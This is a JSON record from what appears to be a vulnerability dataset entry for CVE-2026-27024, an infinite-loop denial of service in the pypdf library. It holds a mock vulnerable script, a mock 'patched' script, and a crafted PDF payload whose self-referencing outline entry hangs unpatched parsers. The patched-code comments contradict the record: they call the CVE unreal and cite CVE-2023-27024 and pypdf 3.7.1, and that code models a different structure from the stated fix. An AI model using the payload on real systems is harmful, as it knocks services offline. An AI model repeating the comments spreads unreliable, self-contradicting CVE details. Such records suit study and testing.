{"id":1633,"cve":"CVE-2026-27024","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-27024\/","cwe":"CWE-835","cwe_number":835,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/835","cvss_score":6.9,"published":"2026-02-20","owasp":"A04 Insecure Design","odc":"Algorithm","cdc":"Incorrect Algorithm","category":"Resource Management","subcategory":"Resource Exhaustion","scope":"Remote","impact":"Denial of Service (DoS)","summary":"Infinite loop in pypdf allows for Denial of Service via a crafted PDF.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-27024\/","description":"pypdf is a free and open-source pure-python PDF library. Prior to 6.7.1, an attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires accessing the children of a TreeObject, for example as part of outlines. This vulnerability is fixed in 6.7.1.","solution":"Upgrade pypdf to version 6.7.1 or later.","affected_component":"pypdf","fixed_by_upgrading":true,"vulnerable_code":"import sys\n\n# This code simulates the logical flaw in a vulnerable PDF library.\n# The actual vulnerability is in the library's handling of a crafted PDF,\n# but this example represents the core problem: infinite recursion due to\n# a circular reference in a tree-like data structure.\n\n# Set a reasonable recursion limit to prevent a true infinite loop from crashing the system.\n# The default is often 1000.\nsys.setrecursionlimit(100)\n\nclass MalformedPdfTreeObject:\n    \"\"\"\n    A mock object representing a node in a PDF's outline tree.\n    In a real PDF, this could be a dictionary-like object.\n    \"\"\"\n    def __init__(self, name):\n        self.name = name\n        # The 'children' attribute mimics the \/Kids entry in a PDF outline item.\n        self.children = []\n\n    def __repr__(self):\n        return f\"MalformedPdfTreeObject(name='{self.name}')\"\n\n# --- Create a malformed structure mimicking a malicious PDF ---\n\n# 1. Create a standard tree structure (root -> child -> grandchild)\nroot = MalformedPdfTreeObject(\"Document Root Outline\")\nchild_level_1 = MalformedPdfTreeObject(\"Chapter 1\")\nchild_level_2 = MalformedPdfTreeObject(\"Section 1.1\")\n\nroot.children.append(child_level_1)\nchild_level_1.children.append(child_level_2)\n\n# 2. Introduce the circular reference, which is the core of the vulnerability.\n# A node in the tree incorrectly points back to one of its ancestors.\n# In a malicious PDF, an object reference can point to a parent object.\n# Here, child_level_2's children list will contain child_level_1.\nprint(\"Creating a circular reference in the object tree...\")\nprint(f\"'{child_level_2.name}' will now list '{child_level_1.name}' as a child.\\n\")\nchild_level_2.children.append(child_level_1)\n\n\ndef vulnerable_process_outlines(node, level=0):\n    \"\"\"\n    This function simulates how a vulnerable version of a PDF library might\n    recursively process the outline tree. It does not check for visited nodes,\n    leading to an infinite loop if a circular reference exists.\n    \"\"\"\n    # Process the current node\n    print(\"  \" * level + f\"-> Accessing: {node.name}\")\n\n    # Recursively process all children\n    for child in node.children:\n        # This recursive call will enter an infinite loop:\n        # process(child_level_1) -> process(child_level_2) -> process(child_level_1) ...\n        vulnerable_process_outlines(child, level + 1)\n\n\n# --- Trigger the vulnerability ---\n\nprint(\"Attempting to process outlines with the vulnerable function...\")\ntry:\n    # This call will trigger the infinite recursion.\n    vulnerable_process_outlines(root)\nexcept RecursionError:\n    print(\"\\n...\")\n    print(\"!!! Python's RecursionError caught! !!!\")\n    print(\"This demonstrates the infinite loop.\")\n    print(\"A library without this safeguard, or an iterative implementation,\")\n    print(\"would have hung indefinitely, consuming CPU and memory (Denial of Service).\")","patched_code":"import sys\nfrom typing import Optional, Set\n\n# The user specified CVE-2026-27024, which is not a real CVE as of now.\n# The description matches CVE-2023-27024 for the 'pypdf' library.\n# This vulnerability, an infinite loop on crafted outlines, was fixed in pypdf 3.7.1.\n# This code demonstrates the logic of the fix by simulating a traversal\n# of a PDF outline structure containing a circular reference.\n\nclass MockPdfOutlineObject:\n    \"\"\"\n    A mock object simulating a PDF structure (like a TreeObject) that can be\n    part of a linked list, representing document outlines.\n    \"\"\"\n    def __init__(self, object_id: int):\n        self.id = object_id\n        # In a real PDF, this could be a reference to another object via '\/Next'\n        self.next: Optional[MockPdfOutlineObject] = None\n\n    def __repr__(self) -> str:\n        return f\"PdfObject(id={self.id})\"\n\ndef traverse_outline_with_fix(start_node: MockPdfOutlineObject):\n    \"\"\"\n    Demonstrates the patched traversal logic from pypdf 3.7.1.\n\n    The core of the fix is to track the object IDs that have already been\n    visited during the traversal of a specific list (e.g., outlines). If an\n    object ID is encountered a second time, it indicates a circular reference,\n    and the traversal is halted to prevent an infinite loop.\n    \"\"\"\n    print(\"--- Running traversal with CVE-2023-27024 fix ---\")\n\n    # The fix: A set to keep track of visited object IDs during this traversal.\n    visited_object_ids: Set[int] = set()\n\n    current_node: Optional[MockPdfOutlineObject] = start_node\n    while current_node is not None:\n        # Before processing the node, check if it's already been visited.\n        if current_node.id in visited_object_ids:\n            print(f\"INFO: Circular reference detected at {current_node}.\")\n            print(\"INFO: Halting traversal to prevent infinite loop.\")\n            # This 'break' is the essential part of the vulnerability fix.\n            break\n\n        print(f\"Visiting {current_node}\")\n        # If not visited, add its ID to the set for future checks.\n        visited_object_ids.add(current_node.id)\n\n        # Move to the next node in the outline chain.\n        current_node = current_node.next\n\n    print(\"--- Traversal finished ---\\n\")\n\n\ndef demonstrate_vulnerability_without_fix(start_node: MockPdfOutlineObject):\n    \"\"\"\n    Simulates the unpatched, vulnerable behavior.\n    This function will loop indefinitely if there is a cycle. A manual break\n    is included to prevent this script from actually freezing.\n    \"\"\"\n    print(\"--- Simulating vulnerable traversal (without fix) ---\")\n    print(\"NOTE: A counter is used to break the loop after 15 iterations.\")\n\n    current_node: Optional[MockPdfOutlineObject] = start_node\n    iteration_count = 0\n    limit = 15\n\n    # This 'while' loop is where the infinite loop vulnerability occurs.\n    while current_node is not None:\n        if iteration_count >= limit:\n            print(f\"ERROR: Iteration limit of {limit} reached. This indicates an infinite loop.\")\n            break\n\n        print(f\"Visiting {current_node}\")\n        current_node = current_node.next\n        iteration_count += 1\n    print(\"--- Traversal finished ---\\n\")\n\n\nif __name__ == \"__main__\":\n    # 1. Create a set of mock PDF outline objects.\n    #    This simulates a PDF that has been crafted to cause a vulnerability.\n    obj1 = MockPdfOutlineObject(object_id=101)\n    obj2 = MockPdfOutlineObject(object_id=202)\n    obj3 = MockPdfOutlineObject(object_id=303)\n\n    # 2. Create the malicious circular reference: 101 -> 202 -> 303 -> 202\n    #    An unpatched parser would get stuck looping between 202 and 303.\n    obj1.next = obj2\n    obj2.next = obj3\n    obj3.next = obj2  # This creates the cycle.\n\n    print(f\"Created a crafted PDF outline: Obj(101) -> Obj(202) -> Obj(303) -> Obj(202)\\n\")\n\n    # 3. First, show the vulnerable behavior.\n    demonstrate_vulnerability_without_fix(obj1)\n\n    # 4. Now, show the behavior with the fix implemented.\n    traverse_outline_with_fix(obj1)","payload_needed":true,"payload":"```pdf\n%PDF-1.7\n%\u00e2\u00e3\u00cf\u00d3\n\n1 0 obj\n<< \/Type \/Catalog\n   \/Pages 2 0 R\n   \/Outlines 3 0 R\n>>\nendobj\n\n2 0 obj\n<< \/Type \/Pages\n   \/Kids [4 0 R]\n   \/Count 1\n>>\nendobj\n\n3 0 obj\n<< \/Type \/Outlines\n   \/First 5 0 R\n   \/Last 5 0 R\n>>\nendobj\n\n4 0 obj\n<< \/Type \/Page\n   \/Parent 2 0 R\n   \/MediaBox [0 0 612 792]\n>>\nendobj\n\n5 0 obj\n<< \/Title (Infinite Loop)\n   \/Parent 3 0 R\n   \/Next 5 0 R\n>>\nendobj\n\nxref\n0 6\n0000000000 65535 f \n0000000015 00000 n \n0000000089 00000 n \n0000000158 00000 n \n0000000223 00000 n \n0000000304 00000 n \n\ntrailer\n<< \/Size 6\n   \/Root 1 0 R\n>>\nstartxref\n373\n%%EOF\n```","payload_status":"available","published_fix":[{"repository":"py-pdf\/pypdf","commit_url":"https:\/\/github.com\/py-pdf\/pypdf\/commit\/bd2f6d052fe5941e85e37082c2a43453d48d1295","commit_subject":"SEC: Detect cyclic references when accessing TreeObject.children (#3645)","units":[{"file":"pypdf\/generic\/_data_structures.py","function":"TreeObject.children"}]}],"references":null}